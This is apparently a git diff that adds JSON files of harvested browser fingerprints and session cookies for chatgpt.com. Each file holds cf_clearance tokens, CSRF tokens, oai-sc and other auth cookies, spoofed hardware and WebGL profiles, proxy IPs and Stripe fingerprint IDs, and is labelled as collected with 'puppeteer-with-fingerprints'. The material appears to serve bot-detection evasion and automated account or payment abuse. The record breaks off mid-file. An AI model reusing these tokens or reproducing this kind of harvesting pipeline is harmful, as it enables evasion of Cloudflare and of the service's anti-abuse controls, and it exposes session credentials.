"rcKfAsRVQl.cIpOvbrAsEZeFufU3bqJB0qjbQ0WadYE-1773499870-1.2.1.1-ZMrB3JktgAPccdrkOdAQc86uV4Q6H3yOoLUDghAV97r1YmZLk_l1kVgkkAJFCnvdmvA7xVrnHRoeymYPMcyrnHQD1wwOB0nKTw06pkFA0vsBeYBHFTGEb50WpDCIizMkorzNXDPUFbKwfElk83.YBqzNVXeLByeLowLLvb5g1sCDXW3.HMG5vFiGw_.kj286nRvrfBGKQJuswQSpj1Z_3QyVCf_Rpo6O_uXjS74oDbI", + "csrf_token": "ada71ef3aa7c0cd54c48479209afe995fc8b4a9deada495d5bb6f08c16dc24d2%7Cc1e56e5cc951803727405996621c22d2d92b84bad58cc25963f4d983b7ecebd1", + "cookies": [ + { + "name": "oai-sc", + "value": "0gAAAAABptXXfUiONWMHLEDHrofjDhv3WrhXViPHdBfn_UaFNEYE9KBbBrma0IBxz9B_cE4MnLNBk8PacL7nZV8kSPLTCEm9CIlK-C_miQgNNJk58nuwPPktS616WVY0pzVsGfrABh0vuHKg6JXRs4s_EC-LVRyoXOf42Jod24Dd28mdVrfak1ekW_4MY429DKXW3FZBry2JDSbbPO0asXrH7dWVRHDP9do-_VdA6_zfQNAtbJXO9kL8", + "domain": ".chatgpt.com" + }, + { + "name": "__cf_bm", + "value": "igAAoS.gs63IoB3ZwnFt3n7c9piRSz5cBgsilIcfSsI-1773499871-1.0.1.1-9DiUtrrNuaoKelPAS99IVxeT8FPNF.FtgCmaAtsaRHo9VzxPYdPFcctnZUEgR2c71afD.16H5YCW2JBja_t3R17UsjuoO5eVdw4YrKqAam0", + "domain": ".chatgpt.com" + }, + { + "name": "_cfuvid", + "value": "yfWrPOvNIQwsdDbaV.tAkkG6ZLvnJ9xQnTaId_OOT4s-1773499871362-0.0.1.1-604800000", + "domain": ".chatgpt.com" + }, + { + "name": "_dd_s", + "value": "aid=f346a0ca-6bf4-4f33-8f2f-1e56e6a73b82&rum=0&expire=1773500770063&logs=1&id=8fb94f68-fdea-40ce-a32b-e6cd626963b2&created=1773499870063", + "domain": "chatgpt.com" + }, + { + "name": "cf_clearance", + "value": "rcKfAsRVQl.cIpOvbrAsEZeFufU3bqJB0qjbQ0WadYE-1773499870-1.2.1.1-ZMrB3JktgAPccdrkOdAQc86uV4Q6H3yOoLUDghAV97r1YmZLk_l1kVgkkAJFCnvdmvA7xVrnHRoeymYPMcyrnHQD1wwOB0nKTw06pkFA0vsBeYBHFTGEb50WpDCIizMkorzNXDPUFbKwfElk83.YBqzNVXeLByeLowLLvb5g1sCDXW3.HMG5vFiGw_.kj286nRvrfBGKQJuswQSpj1Z_3QyVCf_Rpo6O_uXjS74oDbI", + "domain": ".chatgpt.com" + }, + { + "name": "__Secure-next-auth.callback-url", + "value": "https%3A%2F%2Fchatgpt.com", + "domain": "chatgpt.com" + }, + { + "name": "__cflb", + "value": "04dTofELUVCxHqRn2Xc6Eb6eZgy5T2EB57m5SFg9BZ", + "domain": "chatgpt.com" + }, + { + "name": "oai-did", + "value": "119e6a11-d160-4e8d-8079-ba42a9e2233b", + "domain": ".chatgpt.com" + }, + { + "name": "oai-hm", + "value": "WHAT_ARE_YOU_WORKING_ON%20%7C%20ON_YOUR_MIND", + "domain": "chatgpt.com" + }, + { + "name": "oai-chat-web-route", + "value": "web", + "domain": "chatgpt.com" + }, + { + "name": "__Host-next-auth.csrf-token", + "value": "ada71ef3aa7c0cd54c48479209afe995fc8b4a9deada495d5bb6f08c16dc24d2%7Cc1e56e5cc951803727405996621c22d2d92b84bad58cc25963f4d983b7ecebd1", + "domain": "chatgpt.com" + } + ], + "region": "KR", + "proxy_ip": "104.194.83.216", + "proxy_sid": "5848bb69", + "harvested_at": "2026-03-14T14:51:17.109Z", + "source": "puppeteer-with-fingerprints", + "stripe_fingerprint_id": "bee0da81db878e6d22f88f599c1f2926" +} \ No newline at end of file diff --git a/fingerprints/KR_5a9ed25e_1773440356549_3.json b/fingerprints/KR_5a9ed25e_1773440356549_3.json new file mode 100644 index 0000000..e7d854a --- /dev/null +++ b/fingerprints/KR_5a9ed25e_1773440356549_3.json @@ -0,0 +1,89 @@ +{ + "cookie_support": true, + "do_not_track": false, + "language": "ko-KR", + "platform": "Win32", + "screen_size": "1920w_1080h_24d_1r", + "timezone_offset": "9", + "timezone_name": "Asia/Seoul", + "touch_support": false, + "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36", + "cpu_cores": 16, + "memory_gb": 8, + "plugins": "PDF Viewer, Chrome PDF Viewer, Chromium PDF Viewer, Microsoft Edge PDF Viewer, WebKit built-in PDF", + "webgl_vendor": "Google Inc. (NVIDIA)", + "webgl_renderer": "ANGLE (NVIDIA, NVIDIA GeForce RTX 2060 SUPER (0x00001F06) Direct3D11 vs_5_0 ps_5_0, D3D11)", + "fonts_bits": "01101000001110001111011010010000011001101100111111111111100", + "canvas_hash": "c036f6019c88fb81240ed84517b047d6", + "oai_did": "e0bd4258-650c-4a11-be5c-581531d44228", + "cf_clearance": "wKHRrgHGoxUQfzMGiUOW_c7lN3Xc5GG2MxI3iXkf0FA-1773440336-1.2.1.1-9uM86Xf31HQcMFSWspn_jo10vHQq5gT3gmw.Gy7u.qjwKpLSgcQiTeWdYoCUOMWVblxgrn4o8_AI9wPdxd0WPuWdsFiZt01M8eorHzEZvuQw7elBppB0E7J.SZjoyOD3L1iv8BHx3oHhzc0_Twi4zEfEduE._8CKaV_LPO3BUh5FP7j89nfRWITwaUW01dOaQWgOXstB9uvDueu.WcFX6C_J.Ss.RmENgSrPNBjuOQ4", + "csrf_token": "f0b9e7dada7bb83f5eddb8e77d86d3194b9f578ae34dd30c7f593af91096c75d%7C868e4e2e7af1da10084b83ed9f997401f88c0da4e5bf99ceab5574ec7b44c101", + "cookies": [ + { + "name": "oai-sc", + "value": "0gAAAAABptI1RF6SJ_Q856R0URihyT4a30GOwv61D28vpCxayqO4s4AHgXMB-_3bny4oU6lngDlrubel-d1ZzoMmGvwBfZBvPNVaYXfP0XT5x9wekdolV3DYE8KX2Cdeeh93CaaqtS9REgXFKvZpdy2Ej_j6JkHgMWZqDhxNdrzM705eiJXY8c3Kvx28Y7zjj_FOJnQ2wCOyBYlJynfON_D0OpZzzBanhzfPVXcT_4yuwFmSoz8I-uBk", + "domain": ".chatgpt.com" + }, + { + "name": "g_state", + "value": "{\"i_l\":0,\"i_ll\":1773440335145,\"i_b\":\"M0+YuBkwkkHjqDnojRTEeF3BeYhaetuSKGleY7Uxfdk\",\"i_e\":{\"enable_itp_optimization\":0}}", + "domain": "chatgpt.com" + }, + { + "name": "oai-did", + "value": "e0bd4258-650c-4a11-be5c-581531d44228", + "domain": ".chatgpt.com" + }, + { + "name": "__cflb", + "value": "0H28vzvP5FJafnkHxisyrUFUAuuJgZWNKWQbqC7KDQf", + "domain": "chatgpt.com" + }, + { + "name": "__cf_bm", + "value": "xABNE.o9teCDobu1QGeteuj14PZ7xWF2kMWs6_k.L9I-1773440336.9520864-1.0.1.1-lBr2FJtPSfV9F7beisjpCiXXUPUtFjnu0TwnGLyAJj1uNsJF_ierWHGU6EmVjl402e2TS2j58THC30N72K2hBz0qrmEqrKCGLgZyBBy8vfvG3hq1M_CYlxoe14WXdMRd", + "domain": ".chatgpt.com" + }, + { + "name": "_cfuvid", + "value": "JCvCfoUZv32Qtt1kuBltVZF51jMYwQqq24O0p2l1AhE-1773440337.3961961-1.0.1.1-BHHVNCcQDE5RF4Hu.9VNN7mAh7UtMZXe2_iTBCSsxJA", + "domain": ".chatgpt.com" + }, + { + "name": "oai-hm", + "value": "READY_WHEN_YOU_ARE%20%7C%20READY_WHEN_YOU_ARE", + "domain": "chatgpt.com" + }, + { + "name": "_dd_s", + "value": "aid=4a0a9322-ab0c-470d-9cab-d25e33230d7e&rum=0&expire=1773441234598&logs=1&id=ed6dfb75-7303-4f16-a578-b0975f15862b&created=1773440334598", + "domain": "chatgpt.com" + }, + { + "name": "cf_clearance", + "value": "wKHRrgHGoxUQfzMGiUOW_c7lN3Xc5GG2MxI3iXkf0FA-1773440336-1.2.1.1-9uM86Xf31HQcMFSWspn_jo10vHQq5gT3gmw.Gy7u.qjwKpLSgcQiTeWdYoCUOMWVblxgrn4o8_AI9wPdxd0WPuWdsFiZt01M8eorHzEZvuQw7elBppB0E7J.SZjoyOD3L1iv8BHx3oHhzc0_Twi4zEfEduE._8CKaV_LPO3BUh5FP7j89nfRWITwaUW01dOaQWgOXstB9uvDueu.WcFX6C_J.Ss.RmENgSrPNBjuOQ4", + "domain": ".chatgpt.com" + }, + { + "name": "__Secure-next-auth.callback-url", + "value": "https%3A%2F%2Fchatgpt.com", + "domain": "chatgpt.com" + }, + { + "name": "oai-chat-web-route", + "value": "web", + "domain": "chatgpt.com" + }, + { + "name": "__Host-next-auth.csrf-token", + "value": "f0b9e7dada7bb83f5eddb8e77d86d3194b9f578ae34dd30c7f593af91096c75d%7C868e4e2e7af1da10084b83ed9f997401f88c0da4e5bf99ceab5574ec7b44c101", + "domain": "chatgpt.com" + } + ], + "region": "KR", + "proxy_ip": "119.28.150.155", + "proxy_sid": "5a9ed25e", + "harvested_at": "2026-03-13T22:19:02.137Z", + "source": "puppeteer-with-fingerprints", + "stripe_fingerprint_id": "96a7b2104768a100ced817afa8abaea5" +} \ No newline at end of file diff --git a/fingerprints/KR_5c7af891_1773440306190_1.json b/fingerprints/KR_5c7af891_1773440306190_1.json new file mode 100644 index 0000000..a9f1409 --- /dev/null +++ b/fingerprints/KR_5c7af891_1773440306190_1.json @@ -0,0 +1,89 @@ +{ + "cookie_support": true, + "do_not_track": false, + "language": "en-US", + "platform": "Win32", + "screen_size": "1600w_1000h_24d_2r", + "timezone_offset": "9", + "timezone_name": "Asia/Seoul", + "touch_support": false, + "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36", + "cpu_cores": 8, + "memory_gb": 8, + "plugins": "PDF Viewer, Chrome PDF Viewer, Chromium PDF Viewer, Microsoft Edge PDF Viewer, WebKit built-in PDF", + "webgl_vendor": "Google Inc. (Intel)", + "webgl_renderer": "ANGLE (Intel, Intel(R) Iris(R) Xe Graphics (0x00009A49) Direct3D11 vs_5_0 ps_5_0, D3D11)", + "fonts_bits": "01101000001110001111011010010000011001101100111111111111100", + "canvas_hash": "9af50da7868c95e4a0619a80e538564c", + "oai_did": "7dedecd5-0633-4daf-bccd-50ddeecbc82c", + "cf_clearance": "MtWnTYNhsCBv4L4sWwro8wy51i8HsvPkbF.6tZgz5Ew-1773440288-1.2.1.1-f8zT5EeIgCT5JaL95CPURK.o58dBtH4JAwlj9LAOBOggZ_jUK.fRKPH6lhXai3RAfQeM8LOYrXD5GjUGy.FE47JreYbAzkwXrRqAar75osaTztKMQdKYGC6kfuDmz1ujiQKFy7AqJEZqc1sUlhNuhAdT3K.L1F4hdBlufqo2jDNHL9ZaO7W8l8iKdu0DoLAVk29ekm7NiTcxrAGhDTZsl_uzTK1qyu6nS7yKVu.PjwQ", + "csrf_token": "53ffdcf6700516e6ec8300ce6111fb227517e513eb254cf98722061139d64305%7Cb1eeb08508096cc9c8f34e46d88196bbe23c0715e49d8fac4a042af453ddd93c", + "cookies": [ + { + "name": "oai-sc", + "value": "0gAAAAABptI0g6ci_5nu2T0pTpelbmQhZAZ7Cz6ic8Ch9Gm_TjSm9l0unWZ8T_RgFZi3FE70jVAL6k0KaZUYczUVX2NWC1wd_RmUWJDbD_Pj73TtK_S0a1e48721H0xf77rxhchVhTu9Ar3X6uO4TWc053GnaTLOnoOdoz4XZL-SFvd45x0thdlziXksMjlKVMDJZ4aHP2xTPlji6P2FLYM2dBT2sEHpBe1-EoDC0tr5XMuuySwze46M", + "domain": ".chatgpt.com" + }, + { + "name": "g_state", + "value": "{\"i_l\":0,\"i_ll\":1773440286261,\"i_b\":\"NjM3STW7qAjBzO9wwthx1UHJ5Fsm2waSZ9qrf29nKw4\",\"i_e\":{\"enable_itp_optimization\":0}}", + "domain": "chatgpt.com" + }, + { + "name": "__Secure-next-auth.callback-url", + "value": "https%3A%2F%2Fchatgpt.com", + "domain": "chatgpt.com" + }, + { + "name": "cf_clearance", + "value": "MtWnTYNhsCBv4L4sWwro8wy51i8HsvPkbF.6tZgz5Ew-1773440288-1.2.1.1-f8zT5EeIgCT5JaL95CPURK.o58dBtH4JAwlj9LAOBOggZ_jUK.fRKPH6lhXai3RAfQeM8LOYrXD5GjUGy.FE47JreYbAzkwXrRqAar75osaTztKMQdKYGC6kfuDmz1ujiQKFy7AqJEZqc1sUlhNuhAdT3K.L1F4hdBlufqo2jDNHL9ZaO7W8l8iKdu0DoLAVk29ekm7NiTcxrAGhDTZsl_uzTK1qyu6nS7yKVu.PjwQ", + "domain": ".chatgpt.com" + }, + { + "name": "oai-hm", + "value": "READY_WHEN_YOU_ARE%20%7C%20HOW_CAN_I_HELP", + "domain": "chatgpt.com" + }, + { + "name": "_dd_s", + "value": "aid=2e51f12f-6c65-4d4a-be0c-6b071d9860af&rum=0&expire=1773441185725&logs=1&id=8b5c1ebf-dce7-4d6e-8336-271ca4dcdfc0&created=1773440285725", + "domain": "chatgpt.com" + }, + { + "name": "_cfuvid", + "value": "Ju.KdDIInynxyZp_ur4t8mrQib5k57jckH6jHKmUMgI-1773440286.6965003-1.0.1.1-gFXycFMqTJpAeoH2Mgnti1s3Ef14fa4GSFOo1PSXd7A", + "domain": ".chatgpt.com" + }, + { + "name": "__cf_bm", + "value": "rFFnvIpKsIUGF4ow8l0iSJ_trkeRnQdqfCmjzmesSMs-1773440288.9736059-1.0.1.1-9GNFP7mted65pMQz.HoTTP8F.wunc8FWJiXaVMPFEf05aykQ1_LCV9vCEzQdVDWsAJQkh78Y4oSm1I46Njp7E8qG0cW8faALZ6HA7Pmo8kf6bkimYExpDZsMu2SQYnIZ", + "domain": ".chatgpt.com" + }, + { + "name": "__cflb", + "value": "0H28vzvP5FJafnkHxisyrUFUAuuJgZWNBK3e9dz9RJK", + "domain": "chatgpt.com" + }, + { + "name": "oai-did", + "value": "7dedecd5-0633-4daf-bccd-50ddeecbc82c", + "domain": ".chatgpt.com" + }, + { + "name": "oai-chat-web-route", + "value": "web", + "domain": "chatgpt.com" + }, + { + "name": "__Host-next-auth.csrf-token", + "value": "53ffdcf6700516e6ec8300ce6111fb227517e513eb254cf98722061139d64305%7Cb1eeb08508096cc9c8f34e46d88196bbe23c0715e49d8fac4a042af453ddd93c", + "domain": "chatgpt.com" + } + ], + "region": "KR", + "proxy_ip": "119.28.150.155", + "proxy_sid": "5c7af891", + "harvested_at": "2026-03-13T22:18:13.965Z", + "source": "puppeteer-with-fingerprints", + "stripe_fingerprint_id": "5ce64a3d8a376da01dc01499c8737d7a" +} \ No newline at end of file diff --git a/fingerprints/KR_62c5260b_1773499842205_8.json b/fingerprints/KR_62c5260b_1773499842205_8.json new file mode 100644 index 0000000..d3c8ff5 --- /dev/null +++ b/fingerprints/KR_62c5260b_1773499842205_8.json @@ -0,0 +1,89 @@ +{ + "cookie_support": true, + "do_not_track": true, + "language": "en-US", + "platform": "Win32", + "screen_size": "1920w_1080h_24d_1r", + "timezone_offset": "-7", + "timezone_name": "America/Los_Angeles", + "touch_support": false, + "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36", + "cpu_cores": 16, + "memory_gb": 8, + "plugins": "PDF Viewer, Chrome PDF Viewer, Chromium PDF Viewer, Microsoft Edge PDF Viewer, WebKit built-in PDF", + "webgl_vendor": "Google Inc. (NVIDIA)", + "webgl_renderer": "ANGLE (NVIDIA, NVIDIA GeForce RTX 3060 Laptop GPU (0x00002520) Direct3D11 vs_5_0 ps_5_0, D3D11)", + "fonts_bits": "01101000001110001111011010010000011001101100111111111111100", + "canvas_hash": "d7773ad84bcd37269d04f19f3bf86356", + "oai_did": "afe0ee53-c6b6-4bef-9d97-0e6f42cc10c1", + "cf_clearance": "h3jMMEQQUlPuqMm3Nvtn1iW_ufcOYaCOTtiNtsR5y74-1773499795-1.2.1.1-SzzB2MuVuZHnhD7OZl.vM374BpC4pJk11po1Yer3JNQx.b1b6IkGguh0nb.ZbmTmezIZFWE9firdvuL5mQOCUHXUc94LsHTxwV521EANJi1YkPvqEKhWqmskVhbpZ.6vMMpj9XSVcxSah.dlRk9fHO1tlOtKzUL9Rc7i7eDraE_qwFXmKGIL1qSQTLDUuFZI6CVD2s0e0H3SX48Fk5RNEZMaFv5l.gFjlKOSE7NUEI0", + "csrf_token": "325362b2109fc6ce990f59843558f56c06912eb35f7f70fdb69a463dea494a50%7C11749d88ca7515723cc1bd5df19385b6eabbad9fe35fa6f425c1a8b4e42c1b57", + "cookies": [ + { + "name": "g_state", + "value": "{\"i_l\":0,\"i_ll\":1773499796485,\"i_b\":\"0VXg+0G0F7iakTGgChcmT6oCWJXAlzqexbMRRLAra14\",\"i_e\":{\"enable_itp_optimization\":0}}", + "domain": "chatgpt.com" + }, + { + "name": "oai-sc", + "value": "0gAAAAABptXWUOEBvDdrQiNP4PUaHDh8loLEzLp8wV-sOxDatGyy65f-IdZhXOVKqfRWSThy1hWPQjFC90N5YjozmUOSV3ociYe8d8lO-kKkKQGSa6RiwxUq78RRAJFZk9621ehgCYdrmQ1vkrITzdYkOfzSHQGF1RSeQrmxQ-0HCzgVocdswVgy5c2RXGCdeT3mN3078VaM9OeVbRteJgHcRil0y6fQ5dwHlCAgp_Z7FH5rcjLmjQ0g", + "domain": ".chatgpt.com" + }, + { + "name": "oai-did", + "value": "afe0ee53-c6b6-4bef-9d97-0e6f42cc10c1", + "domain": ".chatgpt.com" + }, + { + "name": "__cflb", + "value": "04dTofELUVCxHqRn2Xc6Eb6eZgy5T2DxXXK2tqgY7m", + "domain": "chatgpt.com" + }, + { + "name": "__cf_bm", + "value": "vDbHfJbI_ukT0YROfdyu1vfDjpYAAshLPH6HJHtBmfg-1773499796.5836177-1.0.1.1-NAARI4H2LpyCjyjYmOeQQNjcM2GKoB6rTdUna1D5TjXdUiXW41qDyKRcKM3hF1oesbM1dzcEeSH1pp_gMXHYHKlI259f1nzqogFazfDU2hGNKBKu3PeblyP4k0rRQfxy", + "domain": ".chatgpt.com" + }, + { + "name": "oai-hm", + "value": "ON_YOUR_MIND%20%7C%20SHOULD_WE_BEGIN", + "domain": "chatgpt.com" + }, + { + "name": "_cfuvid", + "value": "9du45.Ai30SYAE4G94pR5gmYscIyjOhsyzzk6sBTaVM-1773499794.517652-1.0.1.1-L2FuPvJYh4kBLKGkjSJT6h9dzWH_GR5eIT9Cp6F_H18", + "domain": ".chatgpt.com" + }, + { + "name": "_dd_s", + "value": "aid=ecc0e6f1-a910-43d6-afff-db5db37dab45&rum=0&expire=1773500695520&logs=1&id=cb4e052d-6e92-4e6b-88b2-4f9e049edc73&created=1773499795520", + "domain": "chatgpt.com" + }, + { + "name": "cf_clearance", + "value": "h3jMMEQQUlPuqMm3Nvtn1iW_ufcOYaCOTtiNtsR5y74-1773499795-1.2.1.1-SzzB2MuVuZHnhD7OZl.vM374BpC4pJk11po1Yer3JNQx.b1b6IkGguh0nb.ZbmTmezIZFWE9firdvuL5mQOCUHXUc94LsHTxwV521EANJi1YkPvqEKhWqmskVhbpZ.6vMMpj9XSVcxSah.dlRk9fHO1tlOtKzUL9Rc7i7eDraE_qwFXmKGIL1qSQTLDUuFZI6CVD2s0e0H3SX48Fk5RNEZMaFv5l.gFjlKOSE7NUEI0", + "domain": ".chatgpt.com" + }, + { + "name": "__Secure-next-auth.callback-url", + "value": "https%3A%2F%2Fchatgpt.com", + "domain": "chatgpt.com" + }, + { + "name": "oai-chat-web-route", + "value": "web", + "domain": "chatgpt.com" + }, + { + "name": "__Host-next-auth.csrf-token", + "value": "325362b2109fc6ce990f59843558f56c06912eb35f7f70fdb69a463dea494a50%7C11749d88ca7515723cc1bd5df19385b6eabbad9fe35fa6f425c1a8b4e42c1b57", + "domain": "chatgpt.com" + } + ], + "region": "KR", + "proxy_ip": "104.194.83.216", + "proxy_sid": "62c5260b", + "harvested_at": "2026-03-14T14:50:03.077Z", + "source": "puppeteer-with-fingerprints", + "stripe_fingerprint_id": "2ee9790d836bbfc1a372a8b8a2a07d23" +} \ No newline at end of file diff --git a/fingerprints/KR_78869a64_1773499653093_1.json b/fingerprints/KR_78869a64_1773499653093_1.json new file mode 100644 index 0000000..0b0ddb7 --- /dev/null +++ b/fingerprints/KR_78869a64_1773499653093_1.json @@ -0,0 +1,89 @@ +{ + "cookie_support": true, + "do_not_track": false, + "language": "en-US", + "platform": "Win32", + "screen_size": "1707w_1067h_24d_1.5r", + "timezone_offset": "-7", + "timezone_name": "America/Los_Angeles", + "touch_support": false, + "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36", + "cpu_cores": 32, + "memory_gb": 8, + "plugins": "PDF Viewer, Chrome PDF Viewer, Chromium PDF Viewer, Microsoft Edge PDF Viewer, WebKit built-in PDF", + "webgl_vendor": "Google Inc. (NVIDIA)", + "webgl_renderer": "ANGLE (NVIDIA, NVIDIA GeForce RTX 4060 Laptop GPU (0x000028E0) Direct3D11 vs_5_0 ps_5_0, D3D11)", + "fonts_bits": "01101000001110001111011010010000011001101100111111111111100", + "canvas_hash": "2d1f6faf7cc01229aee8e6ddb0966a90", + "oai_did": "dc8dfa48-3e61-45f1-8b7c-b97762e10091", + "cf_clearance": "VGj.PwxosB6EB916XIIWL_oZMl2j_KFV71fw41K8YwM-1773499634-1.2.1.1-LSkggs9BAt3tQrKx981HH0zOQ2_PWszdbb5cAnoaD9nbyn5AbPFCEt8EGWPspxnOnI.Km1oN310CZwum4c7GQSBMwGwR8bmTCCWBXODx3SulWWDXYj7s4lCOwuy_0yytVxPYzE1G_pudvecHWd2ghvhuC2xCiG7n1wCmOOEu2zuybUzJMejqjA6JtaD_JNxpNP4FCXqlp0MWbFBRDuauHeVkBAKWErIUDlHtS9fdIhU", + "csrf_token": "2a2d4aa79cc7528e568d29f6f854404c25ed27b5634ac94bcb6d1b5c0ba7cbb1%7C7e2e64e732a387ea58a8c6534f9701d617f74691cd098e855421d0d6210a8b38", + "cookies": [ + { + "name": "g_state", + "value": "{\"i_l\":0,\"i_ll\":1773499635052,\"i_b\":\"bJM4X95Mta8AIUtszHeQXsVCAdFJM1eSrREQj3R6A+E\",\"i_e\":{\"enable_itp_optimization\":0}}", + "domain": "chatgpt.com" + }, + { + "name": "oai-sc", + "value": "0gAAAAABptXTzw5QLELpXEdSMqKikkKQnx8mXfSMlp28IMs_N1jkvcF6dfk49S3dsiXt9igoegnSqnuDoCEYSBdn6likhs3ybZ8DrSCfPIWK18qqolxUv81DWKLxIpsCv742n9AwOdnygX8MDsrJWvI_sfwD8aMHDY3UksPIMcFCVRu_JsJdgy1W_f2qA_U6yfgaydzt0o9qbWNxNY1_tGvw2I2NRa4b6QC18zC3KNdUBMFwELWanNMg", + "domain": ".chatgpt.com" + }, + { + "name": "oai-did", + "value": "dc8dfa48-3e61-45f1-8b7c-b97762e10091", + "domain": ".chatgpt.com" + }, + { + "name": "__cflb", + "value": "04dTofELUVCxHqRn2Xc6Eb6eZgy5T2Ds1Lv6PLaZ8o", + "domain": "chatgpt.com" + }, + { + "name": "__cf_bm", + "value": "DmVWRjusMG2D_Q0nzEyPa3aSQtI0ZW4_4TE5XAGQyPo-1773499635.119717-1.0.1.1-OZJXul6GkVv6PMEahXXchBJQ6j0de1xh_BsM5EvaL2Wc3euiY2dCpnMEKHK3aa1DU9bsnh6.0TSOq2BuEUDzwdvOkMIsU0sNNPmFDK.enndV8YOoeoOa0wL4hVKTfiv6", + "domain": ".chatgpt.com" + }, + { + "name": "oai-hm", + "value": "SHOULD_WE_BEGIN%20%7C%20ON_YOUR_MIND", + "domain": "chatgpt.com" + }, + { + "name": "_cfuvid", + "value": "bBdT.7dtDUyC4tnqv8mqtfj6.7CR3mKI2LeuJxJVE6c-1773499633.0823534-1.0.1.1-6eVDXnly0FgVtoZJ4GfQrVasd_zJD4xKKnmy8nrNwzI", + "domain": ".chatgpt.com" + }, + { + "name": "_dd_s", + "value": "aid=3c7d63e3-556b-4dcf-93bb-b2d99526b1a5&rum=0&expire=1773500534117&logs=1&id=b359ccf1-ceee-4b80-a448-85849e20a6d8&created=1773499634117", + "domain": "chatgpt.com" + }, + { + "name": "cf_clearance", + "value": "VGj.PwxosB6EB916XIIWL_oZMl2j_KFV71fw41K8YwM-1773499634-1.2.1.1-LSkggs9BAt3tQrKx981HH0zOQ2_PWszdbb5cAnoaD9nbyn5AbPFCEt8EGWPspxnOnI.Km1oN310CZwum4c7GQSBMwGwR8bmTCCWBXODx3SulWWDXYj7s4lCOwuy_0yytVxPYzE1G_pudvecHWd2ghvhuC2xCiG7n1wCmOOEu2zuybUzJMejqjA6JtaD_JNxpNP4FCXqlp0MWbFBRDuauHeVkBAKWErIUDlHtS9fdIhU", + "domain": ".chatgpt.com" + }, + { + "name": "__Secure-next-auth.callback-url", + "value": "https%3A%2F%2Fchatgpt.com", + "domain": "chatgpt.com" + }, + { + "name": "oai-chat-web-route", + "value": "web", + "domain": "chatgpt.com" + }, + { + "name": "__Host-next-auth.csrf-token", + "value": "2a2d4aa79cc7528e568d29f6f854404c25ed27b5634ac94bcb6d1b5c0ba7cbb1%7C7e2e64e732a387ea58a8c6534f9701d617f74691cd098e855421d0d6210a8b38", + "domain": "chatgpt.com" + } + ], + "region": "KR", + "proxy_ip": "104.194.83.216", + "proxy_sid": "78869a64", + "harvested_at": "2026-03-14T14:47:21.506Z", + "source": "puppeteer-with-fingerprints", + "stripe_fingerprint_id": "190c1952e2fc8c54369d9b3d0e26a62a" +} \ No newline at end of file diff --git a/fingerprints/KR_8e80bcc9_1773440498951_9.json b/fingerprints/KR_8e80bcc9_1773440498951_9.json new file mode 100644 index 0000000..c5035cc --- /dev/null +++ b/fingerprints/KR_8e80bcc9_1773440498951_9.json @@ -0,0 +1,89 @@ +{ + "cookie_support": true, + "do_not_track": false, + "language": "ko-KR", + "platform": "Win32", + "screen_size": "1536w_864h_24d_1.25r", + "timezone_offset": "9", + "timezone_name": "Asia/Seoul", + "touch_support": false, + "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36", + "cpu_cores": 4, + "memory_gb": 8, + "plugins": "PDF Viewer, Chrome PDF Viewer, Chromium PDF Viewer, Microsoft Edge PDF Viewer, WebKit built-in PDF", + "webgl_vendor": "Google Inc. (Intel)", + "webgl_renderer": "ANGLE (Intel, Intel(R) HD Graphics 520 (0x00001916) Direct3D11 vs_5_0 ps_5_0, D3D11)", + "fonts_bits": "01101000001110001111011010010000011001101100111111111111100", + "canvas_hash": "13987de022d1ee68c3f6f03e8a6ba019", + "oai_did": "60c971bb-d53e-4814-acf1-af1a899c8c13", + "cf_clearance": "1CTKKG4FnuQnEfNC4IfgQ3sjVKLUx2uM.e0U7E2f6cE-1773440485-1.2.1.1-uYhFCRuaMX4pHvRVlSrhayjB0ekrtUCuWQ873Kto62wvTcIR1Vr3Z1Kbt.doXK.Adk.TA2xFz3WhNi5weSrbNizMtb2bC30MPc.T4GLd2rXYVYOD_HXIeENDDsYJ.pacUNpfSXYsYFY79fYGR7AAYBdzdpIGOhRsPv_ncvkxYYhXGdFY2BtCWzlyUq5OtVW9D07eLchmEFKryU30FkzvrIqV6DYs5Afx_2PgBjJpKSY", + "csrf_token": "73427647bb5c483aed0ebe377e5bd11130d27437b577558056c5f11167275e26%7Cbb1180919a2e6186a5ffb6da2fc465c8b53f9577fc15f44367aa9f4e52e41a28", + "cookies": [ + { + "name": "g_state", + "value": "{\"i_l\":0,\"i_ll\":1773440484204,\"i_b\":\"Yv0TXe9ueuzTBEpBpGTmj0vm4PNuf9C9W8JymApdrWE\",\"i_e\":{\"enable_itp_optimization\":0}}", + "domain": "chatgpt.com" + }, + { + "name": "oai-sc", + "value": "0gAAAAABptI3lSGLPW9pgCQjX_x8z27IOo8rHeHGx3VB_DoCiFuTLi8OnyRmn-pVp9UV-v_bpa8c7WmwKjRdrYIKBOYiHZaAU3SpTK9fxRZO1swdPnYkAc5psQN23I7vpzRgz7UzvpqAFzb_bk1DpTeJVpg_TDDZkByhgAOZt95Yu9YXmj0Uu0ype31wXuk-OAFUbQXGH79zZvbOGghSCVwl8G6XJIk64BHYAkhyDa32SUw7lqBqZOLY", + "domain": ".chatgpt.com" + }, + { + "name": "__Secure-next-auth.callback-url", + "value": "https%3A%2F%2Fchatgpt.com", + "domain": "chatgpt.com" + }, + { + "name": "cf_clearance", + "value": "1CTKKG4FnuQnEfNC4IfgQ3sjVKLUx2uM.e0U7E2f6cE-1773440485-1.2.1.1-uYhFCRuaMX4pHvRVlSrhayjB0ekrtUCuWQ873Kto62wvTcIR1Vr3Z1Kbt.doXK.Adk.TA2xFz3WhNi5weSrbNizMtb2bC30MPc.T4GLd2rXYVYOD_HXIeENDDsYJ.pacUNpfSXYsYFY79fYGR7AAYBdzdpIGOhRsPv_ncvkxYYhXGdFY2BtCWzlyUq5OtVW9D07eLchmEFKryU30FkzvrIqV6DYs5Afx_2PgBjJpKSY", + "domain": ".chatgpt.com" + }, + { + "name": "oai-hm", + "value": "AGENDA_TODAY%20%7C%20SHOULD_WE_BEGIN", + "domain": "chatgpt.com" + }, + { + "name": "_dd_s", + "value": 